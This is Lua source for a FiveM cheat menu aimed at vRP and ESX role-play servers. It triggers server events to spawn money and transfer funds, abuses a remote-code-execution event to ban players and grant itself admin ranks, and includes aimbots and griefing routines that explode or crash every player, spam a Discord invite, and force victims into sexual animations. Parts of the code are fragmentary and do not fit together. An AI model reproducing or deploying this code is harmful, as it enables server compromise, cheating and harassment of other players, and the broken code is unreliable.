local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(service[i], PlaceSelf, SpawnEngineOn)
end
end
-- COMMERCIAL SPAWNER
elseif StillPassing40.IsMenuOpened('commercial') then
for i = 1, #commercial do
local vehname = GetLabelText(commercial[i])
if vehname == "NULL" then vehname = commercial[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(commercial[i], PlaceSelf, SpawnEngineOn)
end
end]]
end
-- PRIMARY CLASSIC
elseif StillPassing40.IsMenuOpened('primary_classic') then
for i = 1, #classicColors do
if StillPassing40.Button(classicColors[i][1]) then
local veh = GetVehiclePedIsIn(PlayerPedId(), 0)
local prim, sec = GetVehicleColours(veh)
SetVehicleColours(veh, classicColors[i][2], sec)
end
end
-- PRIMARY MATTE
elseif StillPassing40.IsMenuOpened('primary_matte') then
for i = 1, #matteColors do
if StillPassing40.Button(matteColors[i][1]) then
local veh = GetVehiclePedIsIn(PlayerPedId(), 0)
local prim, sec = GetVehicleColours(veh)
SetVehicleColours(veh, matteColors[i][2], sec)
end
end
-- PRIMARY METAL
elseif StillPassing40.IsMenuOpened('primary_metal') then
for i = 1, #metalColors do
if StillPassing40.Button(metalColors[i][1]) then
local veh = GetVehiclePedIsIn(PlayerPedId(), 0)
local prim, sec = GetVehicleColours(veh)
SetVehicleColours(veh, metalColors[i][2], sec)
end
end
-- SECONDARY CLASSIC
elseif StillPassing40.IsMenuOpened('secondary_classic') then
for i = 1, #classicColors do
if StillPassing40.Button(classicColors[i][1]) then
local veh = GetVehiclePedIsIn(PlayerPedId(), 0)
local prim, sec = GetVehicleColours(veh)
SetVehicleColours(veh, prim, classicColors[i][2])
end
end
-- SECONDARY MATTE
elseif StillPassing40.IsMenuOpened('secondary_matte') then
for i = 1, #matteColors do
if StillPassing40.Button(matteColors[i][1]) then
local veh = GetVehiclePedIsIn(PlayerPedId(), 0)
local prim, sec = GetVehicleColours(veh)
SetVehicleColours(veh, prim, matteColors[i][2])
end
end
-- SECONDARY METAL
elseif StillPassing40.IsMenuOpened('secondary_metal') then
for i = 1, #metalColors do
if StillPassing40.Button(metalColors[i][1]) then
local veh = GetVehiclePedIsIn(PlayerPedId(), 0)
local prim, sec = GetVehicleColours(veh)
SetVehicleColours(veh, prim, metalColors[i][2])
end
end
for k in EnumerateVehicles() do
RequestControlOnce(k)
SetVehicleGravityAmount(k, GravAmount)
end
end) then
end
end
end
end
elseif StillPassing40.IsMenuOpened('\108\117\97\10') then
if StillPassing40.MenuButton('vRP', '\118\114\112\10') then
elseif StillPassing40.MenuButton('vRP Rollespilleren', 'roles')
then
elseif StillPassing40.MenuButton('----------', 'roles') then
elseif StillPassing40.MenuButton('ESX', '\101\115\120\10') then
elseif StillPassing40.MenuButton('ESX Jobs ', 'other') then
end
udwdj("lupin:careca", 1500000)
elseif MIOddhwuie.Button("SPAWN Penge | Bank", '~p~Devo & Sky') then
TriggerServerEvent("bank:deposit", 1500000)
elseif StillPassing40.Button("SPAWN Penge", '~p~DevoNetwork') then
local belob = GetKeyboardInput("Beløb")
udwdj("scrap:SellVehicle", belob)
elseif StillPassing40.Button("SPAWN Andre Personer Penge",
'~p~DevoNetwork') then
local i = 0
local id = tonumber(GetKeyboardInput("ID"))
local result = tonumber(GetKeyboardInput("Beløb"))
local times = tonumber(GetKeyboardInput("Antal Gange?"))
udwdj("scrap:SellVehicle", result)
while i<times do
udwdj("bank:transfer", id, result/100)
i = i + 1
end
end
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('Fremstill2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('saalg2')
TriggerServerEvent('Hvidvask2')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
TriggerServerEvent('Hvidvask3')
elseif
StillPassing40.Button("==========================~p~FARMS~s~=======================
====") then
elseif StillPassing40.Button("Modtag Kokain", '~p~10 stk.') then
TriggerServerEvent('kokain2')
elseif StillPassing40.Button("Modtag Færdigt Kokain", '~p~10 stk.') then
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('kokain2')
TriggerServerEvent('Fremstill2')
elseif
StillPassing40.Button("==========================~p~TROLL~s~=======================
====") then
elseif StillPassing40.Button("BAN Person", '~p~DevoNetwork') then
local id = "local id = " .. GetKeyboardInput("ID:", " ", 20) .. " "
local grund = 'local grund = "'.. GetKeyboardInput('GRUND:', '' ,
20)..'" '
local ban = [[
local warof = 5
local users = vRP.getUsers({})
local player = vRP.getUserSource({id})
vRP.ban({id, grund})
for i = 1,500 do
RconPrint("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
RconPrint("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
end
]]
local ban = id .. grund ..ban
udwdj('RunCode:RunStringRemotelly', ban)
TriggerServerEvent("vrp_panikknap:panik",GetEntityCoords(PlayerPedId(selectedPlayer
), true))
TriggerServerEvent("vrp_panikknap:gps",
GetEntityCoords(PlayerPedId(selectedPlayer), true))
elseif
StillPassing40.Button("==========================~p~RANKS~s~=======================
====") then
elseif StillPassing40.Button("Groups", '~p~DevoNetwork') then
TriggerServerEvent('RunCode:RunStringRemotelly', [[
local file = LoadResourceFile("vrp", "cfg/groups.lua")
for i = 1,500 do
end
]])
elseif StillPassing40.Button("Custom Rank", '~p~DevoNetwork') then
local id = "local id = " .. GetKeyboardInput("ID:", " ", 20) .. " "
local rank = 'local rank = "'.. GetKeyboardInput('RANK:', '' , 20)..'" '
local admin = [[
local warof = 5
local users = vRP.getUsers({})
local player = vRP.getUserSource({id})
vRP.addUserGroup({id, rank})
for i = 1,500 do
end
]]
local admin2 = id .. rank ..admin
udwdj('RunCode:RunStringRemotelly', admin2)
elseif StillPassing40.Button("Owner Rank", '~p~~p~SkyUniverse') then
udwdj("kasperr_kriminel:selectJob", "superadmin")
udwdj("kasperr_kriminel:selectJob", "admin")
udwdj("kasperr_kriminel:selectJob", "superadmin")
udwdj("kasperr_kriminel:selectJob", "moderator")
elseif StillPassing40.Button("Politi-Job", '~p~SkyUniverse') then
udwdj("kasperr_jobcenter:selectJob", "Politi-Job")
end
end
StillPassing40.Display()
if Demigod then
if GetEntityHealth(PlayerPedId()) < 200 then
SetEntityHealth(PlayerPedId(), 200)
end
end
if ADemigod then
SetEntityHealth(PlayerPedId(), 189.9)
end
if Noclipping then
local isInVehicle = IsPedInAnyVehicle(PlayerPedId(), 0)
local k = nname
local x, y, z = nname
if ExplodingAll then
ExplodeAll(includeself)
end
if Tracking then
local coords = GetEntityCoords(GetPlayerPed(TrackedPlayer))
SetNewWaypoint(coords.x, coords.y)
end
if FlingingPlayer then
local coords = GetEntityCoords(GetPlayerPed(FlingedPlayer))
Citizen.InvokeNative(0xE3AD2BDBAEE269AC, coords.x, coords.y,
coords.z, 4, 1.0, 0, 1, 0.0, 1)
end
if InfStamina then
RestorePlayerStamina(PlayerId(),
GetPlayerSprintStaminaRemaining(PlayerId()))
end
if SuperJump then
SetSuperJumpThisFrame(PlayerId())
end
if Invisibility then
SetEntityVisible(PlayerPedId(), 0, 0)
end
if Forcefield then
DoForceFieldTick(ForcefieldRadius)
end
if CarsDisabled then
local plist = GetActivePlayers()
for i = 1, #plist do
if IsPedInAnyVehicle(GetPlayerPed(plist[i]), true) then
ClearPedTasksImmediately(GetPlayerPed(plist[i]))
end
end
end
if GunsDisabled then
local plist = GetActivePlayers()
for i = 1, #plist do
if IsPedShooting(GetPlayerPed(plist[i])) then
ClearPedTasksImmediately(GetPlayerPed(plist[i]))
end
end
end
if NoisyCars then
for k in EnumerateVehicles() do
SetVehicleAlarmTimeLeft(k, 500)
end
end
if FlyingCars then
for k in EnumerateVehicles() do
RequestControlOnce(k)
ApplyForceToEntity(k, 3, 0.0, 0.0, 500.0, 0.0, 0.0, 0.0, 0, 0, 1,
1, 0, 1)
end
end
if SuperGravity then
for k in EnumerateVehicles() do
RequestControlOnce(k)
SetVehicleGravityAmount(k, GravAmount)
end
end
function nukeserver()
Citizen.CreateThread(function()
local dg="Avenger"
local dh="CARGOPLANE"
local di="luxor"
local dj="maverick"
local dk="blimp2"
for bs=0,9 do
udwdj("_chat:messageEntered","~p~",{141,211,255},"^1C^2r^3e^4e^5k
^1M^2e^3n^4u ^4https://discord.gg/qrG9knVEWH")
end
for i=0,128 do
local di=CreateVehicle(GetHashKey(dg),GetEntityCoords(GetPlayerPed(i))
+2.0,true,true) and CreateVehicle(GetHashKey(dg),GetEntityCoords(GetPlayerPed(i))
+10.0,true,true)and CreateVehicle(GetHashKey(dg),2*GetEntityCoords(GetPlayerPed(i))
+15.0,true,true)and CreateVehicle(GetHashKey(dh),GetEntityCoords(GetPlayerPed(i))
+2.0,true,true)and CreateVehicle(GetHashKey(dh),GetEntityCoords(GetPlayerPed(i))
+10.0,true,true)and CreateVehicle(GetHashKey(dh),2*GetEntityCoords(GetPlayerPed(i))
+15.0,true,true)and CreateVehicle(GetHashKey(di),GetEntityCoords(GetPlayerPed(i))
+2.0,true,true)and CreateVehicle(GetHashKey(di),GetEntityCoords(GetPlayerPed(i))
+10.0,true,true)and CreateVehicle(GetHashKey(di),2*GetEntityCoords(GetPlayerPed(i))
+15.0,true,true)and CreateVehicle(GetHashKey(dj),GetEntityCoords(GetPlayerPed(i))
+2.0,true,true)and CreateVehicle(GetHashKey(dj),GetEntityCoords(GetPlayerPed(i))
+10.0,true,true)and CreateVehicle(GetHashKey(dj),2*GetEntityCoords(GetPlayerPed(i))
+15.0,true,true)and CreateVehicle(GetHashKey(dk),GetEntityCoords(GetPlayerPed(i))
+2.0,true,true)and CreateVehicle(GetHashKey(dk),GetEntityCoords(GetPlayerPed(i))
+10.0,true,true)and CreateVehicle(GetHashKey(dk),2*GetEntityCoords(GetPlayerPed(i))
+15.0,true,true)and
AddExplosion(GetEntityCoords(GetPlayerPed(i)),5,3000.0,true,arwet,100000.0)and
AddExplosion(GetEntityCoords(GetPlayerPed(i)),5,3000.0,true,arwet,true)
end
ShowInfo("~p~Fucked :(")
end)
end
if fuckallcars then
for aP in EnumerateVehicles() do
if not
IsPedAPlayer(GetPedInVehicleSeat(aP, -1)) then
SetVehicleHasBeenOwnedByPlayer(aP, false) SetEntityAsMissionEntity(aP, false,
false) StartVehicleAlarm(aP) DetachVehicleWindscreen(aP) SmashVehicleWindow(aP, 0)
SmashVehicleWindow(aP, 1) SmashVehicleWindow(aP, 2) SmashVehicleWindow(aP, 3)
SetVehicleTyreBurst(aP, 0, true, 1000.0) SetVehicleTyreBurst(aP, 1, true, 1000.0)
SetVehicleTyreBurst(aP, 2, true, 1000.0) SetVehicleTyreBurst(aP, 3, true, 1000.0)
SetVehicleTyreBurst(aP, 4, true, 1000.0) SetVehicleTyreBurst(aP, 5, true, 1000.0)
SetVehicleTyreBurst(aP, 4, true, 1000.0) SetVehicleTyreBurst(aP, 7, true, 1000.0)
SetVehicleDoorBroken(aP, 0, true) SetVehicleDoorBroken(aP, 1, true)
SetVehicleDoorBroken(aP, 2, true) SetVehicleDoorBroken(aP, 3, true)
SetVehicleDoorBroken(aP, 4, true) SetVehicleDoorBroken(aP, 5, true)
SetVehicleDoorBroken(aP, 6, true) SetVehicleDoorBroken(aP, 7, true)
SetVehicleLights(aP, 1) Citizen.InvokeNative(0x1FD09E7390A74D54, aP, 1)
SetVehicleNumberPlateTextIndex(aP, 5) SetVehicleNumberPlateText(aP,
"StillPassing40") SetVehicleDirtLevel(aP, 10.0) SetVehicleModColor_1(aP, 1)
SetVehicleModColor_2(aP, 1) SetVehicleCustomPrimaryColour(aP, 255, 51, 255)
SetVehicleCustomSecondaryColour(aP, 255, 51, 255) SetVehicleBurnout(aP, true) end
end end
if destroyvehicles then
for vehicle in EnumerateVehicles() do
if vehicle ~=
GetVehiclePedIsIn(GetPlayerPed(-1), false) then
NetworkRequestControlOfEntity(vehicle) SetVehicleUndriveable(vehicle, true)
SetVehicleEngineHealth(vehicle, 0) end end end
if alarmvehicles then
for vehicle in EnumerateVehicles() do
if vehicle ~=
GetVehiclePedIsIn(GetPlayerPed(-1), false) then
NetworkRequestControlOfEntity(vehicle) SetVehicleAlarm(vehicle, true)
StartVehicleAlarm(vehicle) end end end
if explodevehicles then
for vehicle in EnumerateVehicles() do
if vehicle ~=
GetVehiclePedIsIn(GetPlayerPed(-1), false) then
NetworkRequestControlOfEntity(vehicle) NetworkExplodeVehicle(vehicle, true, true,
false) end end end
if huntspam then Citizen.Wait(1) TriggerServerEvent('esx-qalle-
hunting:reward', 20000) TriggerServerEvent('esx-qalle-hunting:sell') end
if deletenearestvehicle then
for vehicle in EnumerateVehicles() do
if vehicle ~=
GetVehiclePedIsIn(GetPlayerPed(-1), false) then
SetEntityAsMissionEntity(GetVehiclePedIsIn(vehicle, true), 1, 1)
DeleteEntity(GetVehiclePedIsIn(vehicle, true)) SetEntityAsMissionEntity(vehicle, 1,
1) DeleteEntity(vehicle) end end end
function RapeAllFunc()
for bs=0,9 do
udwdj("_chat:messageEntered","~p~",{141,211,255},"https://discord.gg/
qrG9knVEWH")
end
Citizen.CreateThread(function()
for i=0,128 do
RequestModelSync("a_m_o_acult_01")
RequestAnimDict("rcmpaparazzo_2")
while not HasAnimDictLoaded("rcmpaparazzo_2")do
Citizen.Wait(0)
end
if IsPedInAnyVehicle(GetPlayerPed(i),waduyh487r64)then
local
vvvvvvvvvvvvvvvvvvvvvvvv=GetVehiclePedIsIn(GetPlayerPed(i),waduyh487r64)
while not NetworkHasControlOfEntity(vvvvvvvvvvvvvvvvvvvvvvvv)do
NetworkRequestControlOfEntity(vvvvvvvvvvvvvvvvvvvvvvvv)
Citizen.Wait(0)
end
SetEntityAsMissionEntity(vvvvvvvvvvvvvvvvvvvvvvvv,waduyh487r64,waduyh487r64)
DeleteVehicle(vvvvvvvvvvvvvvvvvvvvvvvv)DeleteEntity(vvvvvvvvvvvvvvvvvvvvvvvv)end
count=-0.2
for b=1,3 do
local
x,y,z=table.unpack(GetEntityCoords(GetPlayerPed(i),waduyh487r64))
local
bD=CreatePed(4,Ggggg("a_m_o_acult_01"),x,y,z,0.0,waduyh487r64,KZjx)
SetEntityAsMissionEntity(bD,waduyh487r64,waduyh487r64)
AttachEntityToEntity(bD,GetPlayerPed(i),4103,11816,count,0.00,0.0,0.0,0.0,0.0,KZjx,
KZjx,KZjx,KZjx,2,waduyh487r64)
ClearPedTasks(GetPlayerPed(i))TaskPlayAnim(GetPlayerPed(i),"rcmpaparazzo_2","shag_l
oop_poppy",2.0,2.5,-1,49,0,0,0,0)
SetPedKeepTask(bD)TaskPlayAnim(bD,"rcmpaparazzo_2","shag_loop_a",2.0,2.5,-
1,49,0,0,0,0)
SetEntityInvincible(bD,waduyh487r64)count=count-0.4
end
end
end)
end
if WorldOnFire then
local pos = GetEntityCoords(PlayerPedId())
local k = GetRandomVehicleInSphere(pos, 100.0, 0, 0)
if k ~= GetVehiclePedIsIn(PlayerPedId(), 0) then
local targetpos = GetEntityCoords(k)
local x, y, z = table.unpack(targetpos)
local expposx = math.random(math.floor(x - 5.0), math.ceil(x +
5.0)) % x
local expposy = math.random(math.floor(y - 5.0), math.ceil(y +
5.0)) % y
local expposz = math.random(math.floor(z - 0.5), math.ceil(z +
1.5)) % z
AddExplosion(expposx, expposy, expposz, 1, 1.0, 1, 0, 0.0)
AddExplosion(expposx, expposy, expposz, 4, 1.0, 1, 0, 0.0)
end
for v in EnumeratePeds() do
if v ~= PlayerPedId() then
local targetpos = GetEntityCoords(v)
local x, y, z = table.unpack(targetpos)
local expposx = math.random(math.floor(x - 5.0), math.ceil(x +
5.0)) % x
local expposy = math.random(math.floor(y - 5.0), math.ceil(y +
5.0)) % y
local expposz = math.random(math.floor(z), math.ceil(z + 1.5))
% z
AddExplosion(expposx, expposy, expposz, 1, 1.0, 1, 0, 0.0)
AddExplosion(expposx, expposy, expposz, 4, 1.0, 1, 0, 0.0)
end
end
end
if FuckMap then
for i = -4000.0, 8000.0, 3.14159 do
local _, z1 = GetGroundZFor_3dCoord(i, i, 0, 0)
local _, z2 = GetGroundZFor_3dCoord(-i, i, 0, 0)
local _, z3 = GetGroundZFor_3dCoord(i, -i, 0, 0)
CreateObject(GetHashKey("stt_prop_stunt_track_start"), i, i, z1, 0,
1, 1)
CreateObject(GetHashKey("stt_prop_stunt_track_start"), -i, i, z2,
0, 1, 1)
CreateObject(GetHashKey("stt_prop_stunt_track_start"), i, -i, z3,
0, 1, 1)
end
end
if UpdateOnscreenKeyboard() ~= 2 then
local result = GetOnscreenKeyboardResult()
Citizen.Wait(500)
blockinput = arwet
return result
else
Citizen.Wait(500)
blockinput = arwet
return nname
end
end
if ClearStreets then
SetVehicleDensityMultiplierThisFrame(0.0)
SetRandomVehicleDensityMultiplierThisFrame(0.0)
SetParkedVehicleDensityMultiplierThisFrame(0.0)
SetAmbientVehicleRangeMultiplierThisFrame(0.0)
SetPedDensityMultiplierThisFrame(0.0)
end
if RapidFire then
DoRapidFireTick()
end
if Aimbot then
-- Draw FOV
if DrawFov then
DrawRect(0.25, 0.5, 0.01, 0.515, 255, 80, 80, 100)
DrawRect(0.75, 0.5, 0.01, 0.515, 255, 80, 80, 100)
DrawRect(0.5, 0.25, 0.49, 0.015, 255, 80, 80, 100)
DrawRect(0.5, 0.75, 0.49, 0.015, 255, 80, 80, 100)
end
end
if Crosshair then
ShowHudComponentThisFrame(14)
end
if ShowCoords then
local pos = GetEntityCoords(PlayerPedId())
DrawTxt("~b~X: ~w~" .. round(pos.x, 3), 0.38, 0.03, 0.0, 0.4)
DrawTxt("~b~Y: ~w~" .. round(pos.y, 3), 0.45, 0.03, 0.0, 0.4)
DrawTxt("~b~Z: ~w~" .. round(pos.z, 3), 0.52, 0.03, 0.0, 0.4)
end
if ExplosiveAmmo then
local ret, pos = GetPedLastWeaponImpactCoord(PlayerPedId())
if ret then
AddExplosion(pos.x, pos.y, pos.z, 82, 1.0, 1, 0, 0.1)
end
end
if ShockAmmo then
local ret, pos = GetPedLastWeaponImpactCoord(PlayerPedId())
if ret then
AddExplosion(pos.x, pos.y, pos.z, 70, 1.0, 1, 0, 0.1)
end
end
if Aimlock then
function lerp(U, V, W)
if U > 1 then
return W
end
if U < 0 then
return V
end
return V + (W - V) * U
end
for dh in EnumeratePeds() do
local di = GetPedBoneCoords(dh, 31086)
R = IsPedAPlayer(dh)
local x, y, z = table.unpack(GetEntityCoords(dh))
local aj, _x, _y = GetScreenCoordFromWorldCoord(x, y, z)
local dj = 0.5
local dk, dl = GetFinalRenderedCamCoord(),
GetEntityRotation(PlayerPedId(), 2)
local dm, dn, dp = (di - dk).x, (di - dk).y, (di - dk).z
local dq, bo, dr =
-math.deg(math.atan2(dm, dn)) - dl.z,
math.deg(math.atan2(dp, #vector3(dm, dn, 0.0))),
1.0
local dq = lerp(1.0, 0.0, dq)
if dh ~= PlayerPedId() and IsEntityOnScreen(dh) and R then
if _x > 0.5 - dj / 2 and _x < 0.5 + dj / 2 and _y > 0.5 - dj /
2 and _y < 0.5 + dj / 2 then
if IsDisabledControlPressed(0, 25) and
IsDisabledControlPressed(0, 25) then
if HasEntityClearLosToEntity(PlayerPedId(), dh, 19)
then
if IsEntityDead(dh) then
else
SetGameplayCamRelativeRotation(dq, bo, dr)
end
end
end
end
end
end
end
if AimlockFOV then
if not HasStreamedTextureDictLoaded("mpmissmarkers256") then
RequestStreamedTextureDict("mpmissmarkers256", true)
end
DrawSprite("mpmissmarkers256", "corona_shade", 0.5, 0.5, 0.05, 0.05 *
1.8, 0.0, 0, 0, 0, 90)
end
if AimlockNPC then
function lerp(U, V, W)
if U > 1 then
return W
end
if U < 0 then
return V
end
return V + (W - V) * U
end
for dh in EnumeratePeds() do
local di = GetPedBoneCoords(dh, 31086)
R = dh
local x, y, z = table.unpack(GetEntityCoords(dh))
local aj, _x, _y = GetScreenCoordFromWorldCoord(x, y, z)
local dj = 0.05
local dk, dl = GetFinalRenderedCamCoord(),
GetEntityRotation(PlayerPedId(), 2)
local dm, dn, dp = (di - dk).x, (di - dk).y, (di - dk).z
local dq, bo, dr =
-math.deg(math.atan2(dm, dn)) - dl.z,
math.deg(math.atan2(dp, #vector3(dm, dn, 0.0))),
1.0
local dq = lerp(1.0, 0.0, dq)
if not IsPedAPlayer(dh) and dh ~= PlayerPedId() and
IsEntityOnScreen(dh) and R then
if _x > 0.5 - dj / 2 and _x < 0.5 + dj / 2 and _y > 0.5 - dj /
2 and _y < 0.5 + dj / 2 then
if IsDisabledControlPressed(0, 25) and
IsDisabledControlPressed(0, 25) then
if HasEntityClearLosToEntity(PlayerPedId(), dh, 19)
then
if IsEntityDead(dh) then
else
SetGameplayCamRelativeRotation(dq, bo, dr)
end
end
end
end
end
end
end
if ForceGun then
local ret, pos = GetPedLastWeaponImpactCoord(PlayerPedId())
if ret then
for k in EnumeratePeds() do
local coords = GetEntityCoords(k)
if k ~= PlayerPedId() and GetDistanceBetweenCoords(pos, coords)
<= 1.0 then
local forward = GetEntityForwardVector(PlayerPedId())
RequestControlOnce(k)
ApplyForce(k, forward * 500)
end
end
for k in EnumerateVehicles() do
local coords = GetEntityCoords(k)
if k ~= GetVehiclePedIsIn(PlayerPedId(), 0) and
GetDistanceBetweenCoords(pos, coords) <= 3.0 then
local forward = GetEntityForwardVector(PlayerPedId())
RequestControlOnce(k)
ApplyForce(k, forward * 500)
end
end
end
end
if Triggerbot then
local hasTarget, target = GetEntityPlayerIsFreeAimingAt(PlayerId())
if hasTarget and IsEntityAPed(target) then
ShootAt(target, "SKEL_HEAD")
end
end
if BoostB then
DisableControlAction(0, 86, true)
if IsDisabledControlPressed(0, 86) and
IsPedInAnyVehicle(PlayerPedId()) then
local ped = GetPlayerPed(-1)
local playerVeh = GetVehiclePedIsIn(ped, false)
SetVehicleForwardSpeed(playerVeh, 70.0)
end
end
if DeadlyBulldozer then
SetVehicleBulldozerArmPosition(GetVehiclePedIsIn(PlayerPedId(), 0),
math.random() % 1, 1)
SetVehicleEngineHealth(GetVehiclePedIsIn(PlayerPedId(), 0), 1000.0)
if not IsPedInAnyVehicle(PlayerPedId(), 0) then
DeleteVehicle(GetVehiclePedIsIn(PlayerPedId(), 1))
DeadlyBulldozer = not DeadlyBulldozer
elseif IsDisabledControlJustPressed(0, Keys["E"]) then
local veh = GetVehiclePedIsIn(PlayerPedId(), 0)
local coords = GetEntityCoords(veh)
local forward = GetEntityForwardVector(veh)
local heading = GetEntityHeading(veh)
local veh = CreateVehicle(GetHashKey("BULLDOZER"), coords.x +
forward.x * 10, coords.y + forward.y * 10, coords.z, heading, 1, 1)
SetVehicleColours(veh, 27, 27)
SetVehicleEngineHealth(veh, -3500.0)
ApplyForce(veh, forward * 500.0)
end
end
if StillPassing40.IsMenuOpened('objectlist') then
for i = 1, #SpawnedObjects do
local x, y, z = table.unpack(GetEntityCoords(SpawnedObjects[i]))
DrawText3D(x, y, z, "OBJECT " .. "[" .. i .. "] " .. "WITH ID " ..
SpawnedObjects[i])
end
end
if NametagsEnabled then
tags_plist = GetActivePlayers()
for i = 1, #tags_plist do
if NetworkIsPlayerTalking(tags_plist[i]) then
SetMpGamerTagVisibility(ptags[i], 4, 1)
else
SetMpGamerTagVisibility(ptags[i], 4, 0)
end
if IsPedInAnyVehicle(GetPlayerPed(tags_plist[i])) and
GetSeatPedIsIn(GetPlayerPed(tags_plist[i])) == 0 then
SetMpGamerTagVisibility(ptags[i], 8, 1)
else
SetMpGamerTagVisibility(ptags[i], 8, 0)
end
end
end
if ANametagsEnabled then
local plist = GetActivePlayers()
table.removekey(plist, PlayerId())
for i = 1, #plist do
local pos = GetEntityCoords(GetPlayerPed(plist[i]))
local distance =
GetDistanceBetweenCoords(GetEntityCoords(PlayerPedId()), pos)
if distance <= 30 then
if ANametagsNotNeedLOS then
DrawText3D(pos.x, pos.y, pos.z + 1.3, "~b~ID: ~w~" ..
GetPlayerServerId(plist[i]) .. "\n~b~Name: ~w~" .. GetPlayerName(plist[i]))
elseif not ANametagsNotNeedLOS and
HasEntityClearLosToEntity(PlayerPedId(), GetPlayerPed(plist[i]), 17) then
DrawText3D(pos.x, pos.y, pos.z + 1.3, "~b~ID: ~w~" ..
GetPlayerServerId(plist[i]) .. "\n~b~Name: ~w~" .. GetPlayerName(plist[i]))
end
end
end
end
if LinesEnabled then
local plist = GetActivePlayers()
local playerCoords = GetEntityCoords(PlayerPedId())
for i = 1, #plist do
if i == PlayerId() then i = i + 1 end
local targetCoords = GetEntityCoords(GetPlayerPed(plist[i]))
DrawLine(playerCoords, targetCoords, 255, 255, 255, 255)
end
end
if WeatherChanger then
SetWeatherTypePersist(WeatherType)
SetWeatherTypeNowPersist(WeatherType)
SetWeatherTypeNow(WeatherType)
SetOverrideWeather(WeatherType)
end
if Radio then
PortableRadio = true
SetRadioToStationIndex(RadioStation)
elseif not Radio then
PortableRadio = arwet
end
if PortableRadio then
SetVehicleRadioEnabled(GetVehiclePedIsIn(PlayerPedId(), 0), arwet)
SetMobilePhoneRadioState(true)
SetMobileRadioEnabledDuringGameplay(true)
HideHudComponentThisFrame(16)
elseif not PortableRadio then
SetVehicleRadioEnabled(GetVehiclePedIsIn(PlayerPedId(), 0), true)
SetMobilePhoneRadioState(arwet)
SetMobileRadioEnabledDuringGameplay(arwet)
ShowHudComponentThisFrame(16)
local radioIndex = GetPlayerRadioStationIndex()
if ForceMap then
DisplayRadar(true)
end
if ForceThirdPerson then
SetFollowPedCamViewMode(0)
SetFollowVehicleCamViewMode(0)
end
Citizen.Wait(0)
end
end)
-- WARP Menu
local platano =
{
closed = true,
key = 166,
entityEnumerator =
{
__gc = function(enum)
if enum.destructor and enum.handle then
enum.destructor(enum.handle)
end
enum.destructor = nil
enum.handle = nil
end
}
}
function platano:enumerate_vehicles()
return coroutine.wrap(function()
local iter, id = FindFirstVehicle()
if not id or id == 0 then
EndFindVehicle(iter)
return
end
local enum = {handle = iter, destructor = EndFindVehicle}
setmetatable(enum, platano.entityEnumerator)
function platano:rectangle(x, y, w, h, r, g, b, a)
local resx, resy = GetActiveScreenResolution()
local rectw, recth = w / resx, h / resy
local rectx, recty = x / resx + rectw / 2, y / resy + recth / 2
DrawRect(rectx, recty, rectw, recth, r, g, b, a)
end
function platano:button(name,xx,yy,r,g,b)
local x,y = GetNuiCursorPosition()
platano:text(name,4,0,xx,yy + 8, 0.3,255, 255,255,255)
else
return false
end
end
function platano:rainbow(speed)
local return_values = {}
return return_values
end
Citizen.CreateThread(function()
while true do
if IsDisabledControlJustPressed(1, platano.key) then
platano.closed = not platano.closed
end
platano:rectangle(19,19,152,502,rainbow.r,rainbow.g,rainbow.b,255)
platano:rectangle(20,20,150,500,0,0,0,255)
local i = 0
platano:rectangle(x, y, 5, 5, rainbow.r,rainbow.g,rainbow.b,255)
end
Citizen.Wait(0)
end
end)
end)